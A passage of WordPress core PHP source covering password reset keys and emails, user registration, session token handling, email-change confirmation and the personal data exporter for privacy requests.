	 * @since 1.5.1
	 *
	 * @param string $user_login The user login name.
	 */
	do_action( 'retrieve_password', $user->user_login );

	$password_reset_allowed = wp_is_password_reset_allowed_for_user( $user );
	if ( ! $password_reset_allowed ) {
		return new WP_Error( 'no_password_reset', __( 'Password reset is not allowed for this user' ) );
	} elseif ( is_wp_error( $password_reset_allowed ) ) {
		return $password_reset_allowed;
	}

	// Generate something random for a password reset key.
	$key = wp_generate_password( 20, false );

	/**
	 * Fires when a password reset key is generated.
	 *
	 * @since 2.5.0
	 *
	 * @param string $user_login The username for the user.
	 * @param string $key        The generated password reset key.
	 */
	do_action( 'retrieve_password_key', $user->user_login, $key );

	// Now insert the key, hashed, into the DB.
	if ( empty( $wp_hasher ) ) {
		require_once ABSPATH . WPINC . '/class-phpass.php';
		$wp_hasher = new PasswordHash( 8, true );
	}

	$hashed = time() . ':' . $wp_hasher->HashPassword( $key );

	$key_saved = wp_update_user(
		array(
			'ID'                  => $user->ID,
			'user_activation_key' => $hashed,
		)
	);

	if ( is_wp_error( $key_saved ) ) {
		return $key_saved;
	}

	return $key;
}

/**
 * Retrieves a user row based on password reset key and login.
 *
 * A key is considered 'expired' if it exactly matches the value of the
 * user_activation_key field, rather than being matched after going through the
 * hashing process. This field is now hashed; old values are no longer accepted
 * but have a different WP_Error code so good user feedback can be provided.
 *
 * @since 3.1.0
 *
 * @global PasswordHash $wp_hasher Portable PHP password hashing framework instance.
 *
 * @param string $key       Hash to validate sending user's password.
 * @param string $login     The user login.
 * @return WP_User|WP_Error WP_User object on success, WP_Error object for invalid or expired keys.
 */
function check_password_reset_key( $key, $login ) {
	global $wp_hasher;

	$key = preg_replace( '/[^a-z0-9]/i', '', $key );

	if ( empty( $key ) || ! is_string( $key ) ) {
		return new WP_Error( 'invalid_key', __( 'Invalid key.' ) );
	}

	if ( empty( $login ) || ! is_string( $login ) ) {
		return new WP_Error( 'invalid_key', __( 'Invalid key.' ) );
	}

	$user = get_user_by( 'login', $login );

	if ( ! $user ) {
		return new WP_Error( 'invalid_key', __( 'Invalid key.' ) );
	}

	if ( empty( $wp_hasher ) ) {
		require_once ABSPATH . WPINC . '/class-phpass.php';
		$wp_hasher = new PasswordHash( 8, true );
	}

	/**
	 * Filters the expiration time of password reset keys.
	 *
	 * @since 4.3.0
	 *
	 * @param int $expiration The expiration time in seconds.
	 */
	$expiration_duration = apply_filters( 'password_reset_expiration', DAY_IN_SECONDS );

	if ( str_contains( $user->user_activation_key, ':' ) ) {
		list( $pass_request_time, $pass_key ) = explode( ':', $user->user_activation_key, 2 );
		$expiration_time                      = $pass_request_time + $expiration_duration;
	} else {
		$pass_key        = $user->user_activation_key;
		$expiration_time = false;
	}

	if ( ! $pass_key ) {
		return new WP_Error( 'invalid_key', __( 'Invalid key.' ) );
	}

	$hash_is_correct = $wp_hasher->CheckPassword( $key, $pass_key );

	if ( $hash_is_correct && $expiration_time && time() < $expiration_time ) {
		return $user;
	} elseif ( $hash_is_correct && $expiration_time ) {
		// Key has an expiration time that's passed.
		return new WP_Error( 'expired_key', __( 'Invalid key.' ) );
	}

	if ( hash_equals( $user->user_activation_key, $key ) || ( $hash_is_correct && ! $expiration_time ) ) {
		$return  = new WP_Error( 'expired_key', __( 'Invalid key.' ) );
		$user_id = $user->ID;

		/**
		 * Filters the return value of check_password_reset_key() when an
		 * old-style key is used.
		 *
		 * @since 3.7.0 Previously plain-text keys were stored in the database.
		 * @since 4.3.0 Previously key hashes were stored without an expiration time.
		 *
		 * @param WP_Error $return  A WP_Error object denoting an expired key.
		 *                          Return a WP_User object to validate the key.
		 * @param int      $user_id The matched user ID.
		 */
		return apply_filters( 'password_reset_key_expired', $return, $user_id );
	}

	return new WP_Error( 'invalid_key', __( 'Invalid key.' ) );
}

/**
 * Handles sending a password retrieval email to a user.
 *
 * @since 2.5.0
 * @since 5.7.0 Added `$user_login` parameter.
 *
 * @global wpdb         $wpdb      WordPress database abstraction object.
 * @global PasswordHash $wp_hasher Portable PHP password hashing framework instance.
 *
 * @param string $user_login Optional. Username to send a password retrieval email for.
 *                           Defaults to `$_POST['user_login']` if not set.
 * @return true|WP_Error True when finished, WP_Error object on error.
 */
function retrieve_password( $user_login = null ) {
	$errors    = new WP_Error();
	$user_data = false;

	// Use the passed $user_login if available, otherwise use $_POST['user_login'].
	if ( ! $user_login && ! empty( $_POST['user_login'] ) ) {
		$user_login = $_POST['user_login'];
	}

	$user_login = trim( wp_unslash( $user_login ) );

	if ( empty( $user_login ) ) {
		$errors->add( 'empty_username', __( '<strong>Error:</strong> Please enter a username or email address.' ) );
	} elseif ( strpos( $user_login, '@' ) ) {
		$user_data = get_user_by( 'email', $user_login );

		if ( empty( $user_data ) ) {
			$user_data = get_user_by( 'login', $user_login );
		}

		if ( empty( $user_data ) ) {
			$errors->add( 'invalid_email', __( '<strong>Error:</strong> There is no account with that username or email address.' ) );
		}
	} else {
		$user_data = get_user_by( 'login', $user_login );
	}

	/**
	 * Filters the user data during a password reset request.
	 *
	 * Allows, for example, custom validation using data other than username or email address.
	 *
	 * @since 5.7.0
	 *
	 * @param WP_User|false $user_data WP_User object if found, false if the user does not exist.
	 * @param WP_Error      $errors    A WP_Error object containing any errors generated
	 *                                 by using invalid credentials.
	 */
	$user_data = apply_filters( 'lostpassword_user_data', $user_data, $errors );

	/**
	 * Fires before errors are returned from a password reset request.
	 *
	 * @since 2.1.0
	 * @since 4.4.0 Added the `$errors` parameter.
	 * @since 5.4.0 Added the `$user_data` parameter.
	 *
	 * @param WP_Error      $errors    A WP_Error object containing any errors generated
	 *                                 by using invalid credentials.
	 * @param WP_User|false $user_data WP_User object if found, false if the user does not exist.
	 */
	do_action( 'lostpassword_post', $errors, $user_data );

	/**
	 * Filters the errors encountered on a password reset request.
	 *
	 * The filtered WP_Error object may, for example, contain errors for an invalid
	 * username or email address. A WP_Error object should always be returned,
	 * but may or may not contain errors.
	 *
	 * If any errors are present in $errors, this will abort the password reset request.
	 *
	 * @since 5.5.0
	 *
	 * @param WP_Error      $errors    A WP_Error object containing any errors generated
	 *                                 by using invalid credentials.
	 * @param WP_User|false $user_data WP_User object if found, false if the user does not exist.
	 */
	$errors = apply_filters( 'lostpassword_errors', $errors, $user_data );

	if ( $errors->has_errors() ) {
		return $errors;
	}

	if ( ! $user_data ) {
		$errors->add( 'invalidcombo', __( '<strong>Error:</strong> There is no account with that username or email address.' ) );
		return $errors;
	}

	/**
	 * Filters whether to send the retrieve password email.
	 *
	 * Return false to disable sending the email.
	 *
	 * @since 6.0.0
	 *
	 * @param bool    $send       Whether to send the email.
	 * @param string  $user_login The username for the user.
	 * @param WP_User $user_data  WP_User object.
	 */
	if ( ! apply_filters( 'send_retrieve_password_email', true, $user_login, $user_data ) ) {
		return true;
	}

	// Redefining user_login ensures we return the right case in the email.
	$user_login = $user_data->user_login;
	$user_email = $user_data->user_email;
	$key        = get_password_reset_key( $user_data );

	if ( is_wp_error( $key ) ) {
		return $key;
	}

	// Localize password reset message content for user.
	$locale = get_user_locale( $user_data );

	$switched_locale = switch_to_user_locale( $user_data->ID );

	if ( is_multisite() ) {
		$site_name = get_network()->site_name;
	} else {
		/*
		 * The blogname option is escaped with esc_html on the way into the database
		 * in sanitize_option. We want to reverse this for the plain text arena of emails.
		 */
		$site_name = wp_specialchars_decode( get_option( 'blogname' ), ENT_QUOTES );
	}

	$message = __( 'Someone has requested a password reset for the following account:' ) . "\r\n\r\n";
	/* translators: %s: Site name. */
	$message .= sprintf( __( 'Site Name: %s' ), $site_name ) . "\r\n\r\n";
	/* translators: %s: User login. */
	$message .= sprintf( __( 'Username: %s' ), $user_login ) . "\r\n\r\n";
	$message .= __( 'If this was a mistake, ignore this email and nothing will happen.' ) . "\r\n\r\n";
	$message .= __( 'To reset your password, visit the following address:' ) . "\r\n\r\n";
	$message .= network_site_url( "wp-login.php?action=rp&key=$key&login=" . rawurlencode( $user_login ), 'login' ) . '&wp_lang=' . $locale . "\r\n\r\n";

	if ( ! is_user_logged_in() ) {
		$requester_ip = $_SERVER['REMOTE_ADDR'];
		if ( $requester_ip ) {
			$message .= sprintf(
				/* translators: %s: IP address of password reset requester. */
				__( 'This password reset request originated from the IP address %s.' ),
				$requester_ip
			) . "\r\n";
		}
	}

	/* translators: Password reset notification email subject. %s: Site title. */
	$title = sprintf( __( '[%s] Password Reset' ), $site_name );

	/**
	 * Filters the subject of the password reset email.
	 *
	 * @since 2.8.0
	 * @since 4.4.0 Added the `$user_login` and `$user_data` parameters.
	 *
	 * @param string  $title      Email subject.
	 * @param string  $user_login The username for the user.
	 * @param WP_User $user_data  WP_User object.
	 */
	$title = apply_filters( 'retrieve_password_title', $title, $user_login, $user_data );

	/**
	 * Filters the message body of the password reset mail.
	 *
	 * If the filtered message is empty, the password reset email will not be sent.
	 *
	 * @since 2.8.0
	 * @since 4.1.0 Added `$user_login` and `$user_data` parameters.
	 *
	 * @param string  $message    Email message.
	 * @param string  $key        The activation key.
	 * @param string  $user_login The username for the user.
	 * @param WP_User $user_data  WP_User object.
	 */
	$message = apply_filters( 'retrieve_password_message', $message, $key, $user_login, $user_data );

	// Short-circuit on falsey $message value for backwards compatibility.
	if ( ! $message ) {
		return true;
	}

	/*
	 * Wrap the single notification email arguments in an array
	 * to pass them to the retrieve_password_notification_email filter.
	 */
	$defaults = array(
		'to'      => $user_email,
		'subject' => $title,
		'message' => $message,
		'headers' => '',
	);

	/**
	 * Filters the contents of the reset password notification email sent to the user.
	 *
	 * @since 6.0.0
	 *
	 * @param array $defaults {
	 *     The default notification email arguments. Used to build wp_mail().
	 *
	 *     @type string $to      The intended recipient - user email address.
	 *     @type string $subject The subject of the email.
	 *     @type string $message The body of the email.
	 *     @type string $headers The headers of the email.
	 * }
	 * @type string  $key        The activation key.
	 * @type string  $user_login The username for the user.
	 * @type WP_User $user_data  WP_User object.
	 */
	$notification_email = apply_filters( 'retrieve_password_notification_email', $defaults, $key, $user_login, $user_data );

	if ( $switched_locale ) {
		restore_previous_locale();
	}

	if ( is_array( $notification_email ) ) {
		// Force key order and merge defaults in case any value is missing in the filtered array.
		$notification_email = array_merge( $defaults, $notification_email );
	} else {
		$notification_email = $defaults;
	}

	list( $to, $subject, $message, $headers ) = array_values( $notification_email );

	$subject = wp_specialchars_decode( $subject );

	if ( ! wp_mail( $to, $subject, $message, $headers ) ) {
		$errors->add(
			'retrieve_password_email_failure',
			sprintf(
				/* translators: %s: Documentation URL. */
				__( '<strong>Error:</strong> The email could not be sent. Your site may not be correctly configured to send emails. <a href="%s">Get support for resetting your password</a>.' ),
				esc_url( __( 'https://wordpress.org/documentation/article/reset-your-password/' ) )
			)
		);
		return $errors;
	}

	return true;
}

/**
 * Handles resetting the user's password.
 *
 * @since 2.5.0
 *
 * @param WP_User $user     The user
 * @param string  $new_pass New password for the user in plaintext
 */
function reset_password( $user, $new_pass ) {
	/**
	 * Fires before the user's password is reset.
	 *
	 * @since 1.5.0
	 *
	 * @param WP_User $user     The user.
	 * @param string  $new_pass New user password.
	 */
	do_action( 'password_reset', $user, $new_pass );

	wp_set_password( $new_pass, $user->ID );
	update_user_meta( $user->ID, 'default_password_nag', false );

	/**
	 * Fires after the user's password is reset.
	 *
	 * @since 4.4.0
	 *
	 * @param WP_User $user     The user.
	 * @param string  $new_pass New user password.
	 */
	do_action( 'after_password_reset', $user, $new_pass );
}

/**
 * Handles registering a new user.
 *
 * @since 2.5.0
 *
 * @param string $user_login User's username for logging in
 * @param string $user_email User's email address to send password and add
 * @return int|WP_Error Either user's ID or error on failure.
 */
function register_new_user( $user_login, $user_email ) {
	$errors = new WP_Error();

	$sanitized_user_login = sanitize_user( $user_login );
	/**
	 * Filters the email address of a user being registered.
	 *
	 * @since 2.1.0
	 *
	 * @param string $user_email The email address of the new user.
	 */
	$user_email = apply_filters( 'user_registration_email', $user_email );

	// Check the username.
	if ( '' === $sanitized_user_login ) {
		$errors->add( 'empty_username', __( '<strong>Error:</strong> Please enter a username.' ) );
	} elseif ( ! validate_username( $user_login ) ) {
		$errors->add( 'invalid_username', __( '<strong>Error:</strong> This username is invalid because it uses illegal characters. Please enter a valid username.' ) );
		$sanitized_user_login = '';
	} elseif ( username_exists( $sanitized_user_login ) ) {
		$errors->add( 'username_exists', __( '<strong>Error:</strong> This username is already registered. Please choose another one.' ) );
	} else {
		/** This filter is documented in wp-includes/user.php */
		$illegal_user_logins = (array) apply_filters( 'illegal_user_logins', array() );
		if ( in_array( strtolower( $sanitized_user_login ), array_map( 'strtolower', $illegal_user_logins ), true ) ) {
			$errors->add( 'invalid_username', __( '<strong>Error:</strong> Sorry, that username is not allowed.' ) );
		}
	}

	// Check the email address.
	if ( '' === $user_email ) {
		$errors->add( 'empty_email', __( '<strong>Error:</strong> Please type your email address.' ) );
	} elseif ( ! is_email( $user_email ) ) {
		$errors->add( 'invalid_email', __( '<strong>Error:</strong> The email address is not correct.' ) );
		$user_email = '';
	} elseif ( email_exists( $user_email ) ) {
		$errors->add(
			'email_exists',
			sprintf(
				/* translators: %s: Link to the login page. */
				__( '<strong>Error:</strong> This email address is already registered. <a href="%s">Log in</a> with this address or choose another one.' ),
				wp_login_url()
			)
		);
	}

	/**
	 * Fires when submitting registration form data, before the user is created.
	 *
	 * @since 2.1.0
	 *
	 * @param string   $sanitized_user_login The submitted username after being sanitized.
	 * @param string   $user_email           The submitted email.
	 * @param WP_Error $errors               Contains any errors with submitted username and email,
	 *                                       e.g., an empty field, an invalid username or email,
	 *                                       or an existing username or email.
	 */
	do_action( 'register_post', $sanitized_user_login, $user_email, $errors );

	/**
	 * Filters the errors encountered when a new user is being registered.
	 *
	 * The filtered WP_Error object may, for example, contain errors for an invalid
	 * or existing username or email address. A WP_Error object should always be returned,
	 * but may or may not contain errors.
	 *
	 * If any errors are present in $errors, this will abort the user's registration.
	 *
	 * @since 2.1.0
	 *
	 * @param WP_Error $errors               A WP_Error object containing any errors encountered
	 *                                       during registration.
	 * @param string   $sanitized_user_login User's username after it has been sanitized.
	 * @param string   $user_email           User's email.
	 */
	$errors = apply_filters( 'registration_errors', $errors, $sanitized_user_login, $user_email );

	if ( $errors->has_errors() ) {
		return $errors;
	}

	$user_pass = wp_generate_password( 12, false );
	$user_id   = wp_create_user( $sanitized_user_login, $user_pass, $user_email );
	if ( ! $user_id || is_wp_error( $user_id ) ) {
		$errors->add(
			'registerfail',
			sprintf(
				/* translators: %s: Admin email address. */
				__( '<strong>Error:</strong> Could not register you&hellip; please contact the <a href="mailto:%s">site admin</a>!' ),
				get_option( 'admin_email' )
			)
		);
		return $errors;
	}

	update_user_meta( $user_id, 'default_password_nag', true ); // Set up the password change nag.

	if ( ! empty( $_COOKIE['wp_lang'] ) ) {
		$wp_lang = sanitize_text_field( $_COOKIE['wp_lang'] );
		if ( in_array( $wp_lang, get_available_languages(), true ) ) {
			update_user_meta( $user_id, 'locale', $wp_lang ); // Set user locale if defined on registration.
		}
	}

	/**
	 * Fires after a new user registration has been recorded.
	 *
	 * @since 4.4.0
	 *
	 * @param int $user_id ID of the newly registered user.
	 */
	do_action( 'register_new_user', $user_id );

	return $user_id;
}

/**
 * Initiates email notifications related to the creation of new users.
 *
 * Notifications are sent both to the site admin and to the newly created user.
 *
 * @since 4.4.0
 * @since 4.6.0 Converted the `$notify` parameter to accept 'user' for sending
 *              notifications only to the user created.
 *
 * @param int    $user_id ID of the newly created user.
 * @param string $notify  Optional. Type of notification that should happen. Accepts 'admin'
 *                        or an empty string (admin only), 'user', or 'both' (admin and user).
 *                        Default 'both'.
 */
function wp_send_new_user_notifications( $user_id, $notify = 'both' ) {
	wp_new_user_notification( $user_id, null, $notify );
}

/**
 * Retrieves the current session token from the logged_in cookie.
 *
 * @since 4.0.0
 *
 * @return string Token.
 */
function wp_get_session_token() {
	$cookie = wp_parse_auth_cookie( '', 'logged_in' );
	return ! empty( $cookie['token'] ) ? $cookie['token'] : '';
}

/**
 * Retrieves a list of sessions for the current user.
 *
 * @since 4.0.0
 *
 * @return array Array of sessions.
 */
function wp_get_all_sessions() {
	$manager = WP_Session_Tokens::get_instance( get_current_user_id() );
	return $manager->get_all();
}

/**
 * Removes the current session token from the database.
 *
 * @since 4.0.0
 */
function wp_destroy_current_session() {
	$token = wp_get_session_token();
	if ( $token ) {
		$manager = WP_Session_Tokens::get_instance( get_current_user_id() );
		$manager->destroy( $token );
	}
}

/**
 * Removes all but the current session token for the current user for the database.
 *
 * @since 4.0.0
 */
function wp_destroy_other_sessions() {
	$token = wp_get_session_token();
	if ( $token ) {
		$manager = WP_Session_Tokens::get_instance( get_current_user_id() );
		$manager->destroy_others( $token );
	}
}

/**
 * Removes all session tokens for the current user from the database.
 *
 * @since 4.0.0
 */
function wp_destroy_all_sessions() {
	$manager = WP_Session_Tokens::get_instance( get_current_user_id() );
	$manager->destroy_all();
}

/**
 * Gets the user IDs of all users with no role on this site.
 *
 * @since 4.4.0
 * @since 4.9.0 The `$site_id` parameter was added to support multisite.
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int|null $site_id Optional. The site ID to get users with no role for. Defaults to the current site.
 * @return string[] Array of user IDs as strings.
 */
function wp_get_users_with_no_role( $site_id = null ) {
	global $wpdb;

	if ( ! $site_id ) {
		$site_id = get_current_blog_id();
	}

	$prefix = $wpdb->get_blog_prefix( $site_id );

	if ( is_multisite() && get_current_blog_id() != $site_id ) {
		switch_to_blog( $site_id );
		$role_names = wp_roles()->get_names();
		restore_current_blog();
	} else {
		$role_names = wp_roles()->get_names();
	}

	$regex = implode( '|', array_keys( $role_names ) );
	$regex = preg_replace( '/[^a-zA-Z_\|-]/', '', $regex );
	$users = $wpdb->get_col(
		$wpdb->prepare(
			"SELECT user_id
			FROM $wpdb->usermeta
			WHERE meta_key = '{$prefix}capabilities'
			AND meta_value NOT REGEXP %s",
			$regex
		)
	);

	return $users;
}

/**
 * Retrieves the current user object.
 *
 * Will set the current user, if the current user is not set. The current user
 * will be set to the logged-in person. If no user is logged-in, then it will
 * set the current user to 0, which is invalid and won't have any permissions.
 *
 * This function is used by the pluggable functions wp_get_current_user() and
 * get_currentuserinfo(), the latter of which is deprecated but used for backward
 * compatibility.
 *
 * @since 4.5.0
 * @access private
 *
 * @see wp_get_current_user()
 * @global WP_User $current_user Checks if the current user is set.
 *
 * @return WP_User Current WP_User instance.
 */
function _wp_get_current_user() {
	global $current_user;

	if ( ! empty( $current_user ) ) {
		if ( $current_user instanceof WP_User ) {
			return $current_user;
		}

		// Upgrade stdClass to WP_User.
		if ( is_object( $current_user ) && isset( $current_user->ID ) ) {
			$cur_id       = $current_user->ID;
			$current_user = null;
			wp_set_current_user( $cur_id );
			return $current_user;
		}

		// $current_user has a junk value. Force to WP_User with ID 0.
		$current_user = null;
		wp_set_current_user( 0 );
		return $current_user;
	}

	if ( defined( 'XMLRPC_REQUEST' ) && XMLRPC_REQUEST ) {
		wp_set_current_user( 0 );
		return $current_user;
	}

	/**
	 * Filters the current user.
	 *
	 * The default filters use this to determine the current user from the
	 * request's cookies, if available.
	 *
	 * Returning a value of false will effectively short-circuit setting
	 * the current user.
	 *
	 * @since 3.9.0
	 *
	 * @param int|false $user_id User ID if one has been determined, false otherwise.
	 */
	$user_id = apply_filters( 'determine_current_user', false );
	if ( ! $user_id ) {
		wp_set_current_user( 0 );
		return $current_user;
	}

	wp_set_current_user( $user_id );

	return $current_user;
}

/**
 * Sends a confirmation request email when a change of user email address is attempted.
 *
 * @since 3.0.0
 * @since 4.9.0 This function was moved from wp-admin/includes/ms.php so it's no longer Multisite specific.
 *
 * @global WP_Error $errors WP_Error object.
 */
function send_confirmation_on_profile_email() {
	global $errors;

	$current_user = wp_get_current_user();
	if ( ! is_object( $errors ) ) {
		$errors = new WP_Error();
	}

	if ( $current_user->ID != $_POST['user_id'] ) {
		return false;
	}

	if ( $current_user->user_email != $_POST['email'] ) {
		if ( ! is_email( $_POST['email'] ) ) {
			$errors->add(
				'user_email',
				__( '<strong>Error:</strong> The email address is not correct.' ),
				array(
					'form-field' => 'email',
				)
			);

			return;
		}

		if ( email_exists( $_POST['email'] ) ) {
			$errors->add(
				'user_email',
				__( '<strong>Error:</strong> The email address is already used.' ),
				array(
					'form-field' => 'email',
				)
			);
			delete_user_meta( $current_user->ID, '_new_email' );

			return;
		}

		$hash           = md5( $_POST['email'] . time() . wp_rand() );
		$new_user_email = array(
			'hash'     => $hash,
			'newemail' => $_POST['email'],
		);
		update_user_meta( $current_user->ID, '_new_email', $new_user_email );

		$sitename = wp_specialchars_decode( get_option( 'blogname' ), ENT_QUOTES );

		/* translators: Do not translate USERNAME, ADMIN_URL, EMAIL, SITENAME, SITEURL: those are placeholders. */
		$email_text = __(
			'Howdy ###USERNAME###,

You recently requested to have the email address on your account changed.

If this is correct, please click on the following link to change it:
###ADMIN_URL###

You can safely ignore and delete this email if you do not want to
take this action.

This email has been sent to ###EMAIL###

Regards,
All at ###SITENAME###
###SITEURL###'
		);

		/**
		 * Filters the text of the email sent when a change of user email address is attempted.
		 *
		 * The following strings have a special meaning and will get replaced dynamically:
		 * - ###USERNAME###  The current user's username.
		 * - ###ADMIN_URL### The link to click on to confirm the email change.
		 * - ###EMAIL###     The new email.
		 * - ###SITENAME###  The name of the site.
		 * - ###SITEURL###   The URL to the site.
		 *
		 * @since MU (3.0.0)
		 * @since 4.9.0 This filter is no longer Multisite specific.
		 *
		 * @param string $email_text     Text in the email.
		 * @param array  $new_user_email {
		 *     Data relating to the new user email address.
		 *
		 *     @type string $hash     The secure hash used in the confirmation link URL.
		 *     @type string $newemail The proposed new email address.
		 * }
		 */
		$content = apply_filters( 'new_user_email_content', $email_text, $new_user_email );

		$content = str_replace( '###USERNAME###', $current_user->user_login, $content );
		$content = str_replace( '###ADMIN_URL###', esc_url( self_admin_url( 'profile.php?newuseremail=' . $hash ) ), $content );
		$content = str_replace( '###EMAIL###', $_POST['email'], $content );
		$content = str_replace( '###SITENAME###', $sitename, $content );
		$content = str_replace( '###SITEURL###', home_url(), $content );

		/* translators: New email address notification email subject. %s: Site title. */
		wp_mail( $_POST['email'], sprintf( __( '[%s] Email Change Request' ), $sitename ), $content );

		$_POST['email'] = $current_user->user_email;
	}
}

/**
 * Adds an admin notice alerting the user to check for confirmation request email
 * after email address change.
 *
 * @since 3.0.0
 * @since 4.9.0 This function was moved from wp-admin/includes/ms.php so it's no longer Multisite specific.
 *
 * @global string $pagenow The filename of the current screen.
 */
function new_user_email_admin_notice() {
	global $pagenow;

	if ( 'profile.php' === $pagenow && isset( $_GET['updated'] ) ) {
		$email = get_user_meta( get_current_user_id(), '_new_email', true );
		if ( $email ) {
			$message = sprintf(
				/* translators: %s: New email address. */
				__( 'Your email address has not been updated yet. Please check your inbox at %s for a confirmation email.' ),
				'<code>' . esc_html( $email['newemail'] ) . '</code>'
			);
			wp_admin_notice( $message, array( 'type' => 'info' ) );
		}
	}
}

/**
 * Gets all personal data request types.
 *
 * @since 4.9.6
 * @access private
 *
 * @return string[] List of core privacy action types.
 */
function _wp_privacy_action_request_types() {
	return array(
		'export_personal_data',
		'remove_personal_data',
	);
}

/**
 * Registers the personal data exporter for users.
 *
 * @since 4.9.6
 *
 * @param array[] $exporters An array of personal data exporters.
 * @return array[] An array of personal data exporters.
 */
function wp_register_user_personal_data_exporter( $exporters ) {
	$exporters['wordpress-user'] = array(
		'exporter_friendly_name' => __( 'WordPress User' ),
		'callback'               => 'wp_user_personal_data_exporter',
	);

	return $exporters;
}

/**
 * Finds and exports personal data associated with an email address from the user and user_meta table.
 *
 * @since 4.9.6
 * @since 5.4.0 Added 'Community Events Location' group to the export data.
 * @since 5.4.0 Added 'Session Tokens' group to the export data.
 *
 * @param string $email_address  The user's email address.
 * @return array {
 *     An array of personal data.
 *
 *     @type array[] $data An array of personal data arrays.
 *     @type bool    $done Whether the exporter is finished.
 * }
 */
function wp_user_personal_data_exporter( $email_address ) {
	$email_address = trim( $email_address );

	$data_to_export = array();

	$user = get_user_by( 'email', $email_address );

	if ( ! $user ) {
		return array(
			'data' => array(),
			'done' => true,
		);
	}

	$user_meta = get_user_meta( $user->ID );

	$user_props_to_export = array(
		'ID'              => __( 'User ID' ),
		'user_login'      => __( 'User Login Name' ),
		'user_nicename'   => __( 'User Nice Name' ),
		'user_email'      => __( 'User Email' ),
		'user_url'        => __( 'User URL' ),
		'user_registered' => __( 'User Registration Date' ),
		'display_name'    => __( 'User Display Name' ),
		'nickname'        => __( 'User Nickname' ),
		'first_name'      => __( 'User First Name' ),
		'last_name'       => __( 'User Last Name' ),
		'description'     => __( 'User Description' ),
	);

	$user_data_to_export = array();

	foreach ( $user_props_to_export as $key => $name ) {
		$value = '';

		switch ( $key ) {
			case 'ID':
			case 'user_login':
			case 'user_nicename':
			case 'user_email':
			case 'user_url':
			case 'user_registered':
			case 'display_name':
				$value = $user->data->$key;
				break;
			case 'nickname':
			case 'first_name':
			case 'last_name':
			case 'description':
				$value = $user_meta[ $key ][0];
				break;
		}

		if ( ! empty( $value ) ) {
			$user_data_to_export[] = array(
				'name'  => $name,
				'value' => $value,
			);
		}
	}

	// Get the list of reserved names.
	$reserved_names = array_values( $user_props_to_export );

	/**
	 * Filters the user's profile data for the privacy exporter.
	 *
	 * @since 5.4.0
	 *
	 * @param array    $additional_user_profile_data {
	 *     An array of name-value pairs of additional user data items. Default empty array.
	 *
	 *     @type string $name  The user-facing name of an item name-value pair,e.g. 'IP Address'.
	 *     @type string $value The user-facing value of an item data pair, e.g. '50.60.70.0'.
	 * }
	 * @param WP_User  $user           The user whose data is being exported.
	 * @param string[] $reserved_names An array of reserved names. Any item in `$additional_user_data`
	 *                                 that uses one of these for its `name` will not be included in the export.
	 */
	$_extra_data = apply_filters( 'wp_privacy_additional_user_profile_data', array(), $user, $reserved_names );

	if ( is_array( $_extra_data ) && ! empty( $_extra_data ) ) {
		// Remove items that use reserved names.
		$extra_data = array_filter(
			$_extra_data,
			static function ( $item ) use ( $reserved_names ) {
				return ! in_array( $item['name'], $reserved_names, true );
			}
		);

		if ( count( $extra_data ) !== count( $_extra_data ) ) {
			_doing_it_wrong(
				__FUNCTION__,
				sprintf(
					/* translators: %s: wp_privacy_additional_user_profile_data */
					__( 'Filter %s returned items with reserved names.' ),
					'<code>wp_privacy_additional_user_profile_data</code>'
				),
				'5.4.0'
			);
		}

		if ( ! empty( $extra_data ) ) {
			$user_data_to_export = array_merge( $user_data_to_export, $extra_data );
		}
	}

	$data_to_export[] = array(
		'group_id'          => 'user',
		'group_label'       => __( 'User' ),
		'group_description' => __( 'User&#8217;s profile data.' ),
		'item_id'           => "user-{$user->ID}",
		'data'              => $user_data_to_export,
	);

	if ( isset( $user_meta['community-events-location'] ) ) {
		$location = maybe_unserialize( $user_meta['community-events-location'][0] );

		$location_props_to_export = array(
			'description' => __( 'City' ),
			'country'     => __( 'Country' ),
			'latitude'    => __( 'Latitude' ),
			'longitude'   => __( 'Longitude' ),
			'ip'          => __( 'IP' ),
		);

		$location_data_to_export = array();

		foreach ( $location_props_to_export as $key => $name ) {
			if ( ! empty( $location[ $key ] ) ) {
				$location_data_to_export[] = array(
					'name'  => $name,
					'value' => $location[ $key ],
				);
			}
		}

		$data_to_export[] = array(
			'group_id'          => 'community-events-location',
			'group_label'       => __( 'Community Events Location' ),
			'group_description' => __( 'User&#8217;s location data used for the Community Events in the WordPress Events and News dashboard widget.' ),
			'item_id'           => "community-events-location-{$user->ID}",
			'data'              => $location_data_to_export,
		);
	}

	if ( isset( $user_meta['session_tokens'] ) ) {
		$session_tokens = maybe_unserialize( $user_meta['session_tokens'][0] );

		$session_tokens_props_to_export = array(
			'expiration' => __( 'Expiration' ),
			'ip'         => __( 'IP' ),
			'ua'         => __( 'User Agent' ),
			'login'      => __( 'Last Login' ),
		);

		foreach ( $session_tokens as $token_key => $session_token ) {
			$session_tokens_data_to_export = array();

			foreach ( $session_tokens_props_to_export as $key => $name ) {
				if ( ! empty( $session_token[ $key ] ) ) {
					$value = $session_token[ $key ];
					if ( in_array( $key, array( 'expiration', 'login' ), true ) ) {
						$value = date_i18n( 'F d, Y H:i A', $value );
					}
					$session_tokens_data_to_export[] = array(
						'name'  => $name,
						'value' => $value,
					);
				}
			}

			$data_to_export[] = array(
				'group_id'          => 'session-tokens',
				'group_label'       => __( 'Session Tokens' ),
				'group_description' => __( 'User&#8217;s Session Tokens data.' ),
				'item_id'           => "session-tokens-{$user->ID}-{$token_key}",
				'data'              => $session_tokens_data_to_export,
			);
		}
	}

	return array(
		'data' => $data_to_export,
		'done' => true,
	);
}

/**
 * Updates log when privacy request is confirmed.
 *
 * @since 4.9.6
 * @access private
 *
 * @param int $request_id ID of the request.
 */
function _wp_privacy_account_request_confirmed( $request_id ) {
	$request = wp_get_user_request( $request_id );

	if ( ! $request ) {
		return;
	}

	if ( ! in_array( $request->status, array( 'request-pending', 'request-failed' ), true ) ) {
		return;
	}

	update_post_meta( $request_id, '_wp_user_request_confirmed_timestamp', time() );
	wp_update_post(
		array(
			'ID'          => $request_id,
			'post_status' => 'request-confirmed',
		)
	);
}

/**
 * Notifies the site administrator via email when a request is confirmed.
 *
 * Without this, the admin would have to manually check the site to see if any
 * action was needed on their part yet.
 *
 * @since 4.9.6
 *
 * @param int $request_id The ID of the request.
 */
function _wp_privacy_send_request_confirmation_notification( $request_id ) {
	$request = wp_get_user_request( $request_id );

	if ( ! ( $request instanceof WP_User_Request ) || 'request-confirmed' !== $request->status ) {
		return;
	}

	$already_notified = (bool) get_post_meta( $request_id, '_wp_admin_notified', true );

	if ( $already_notified ) {
		return;
	}

	if ( 'export_personal_data' === $request->action_name ) {
		$manage_url = admin_url( 'export-personal-data.php' );
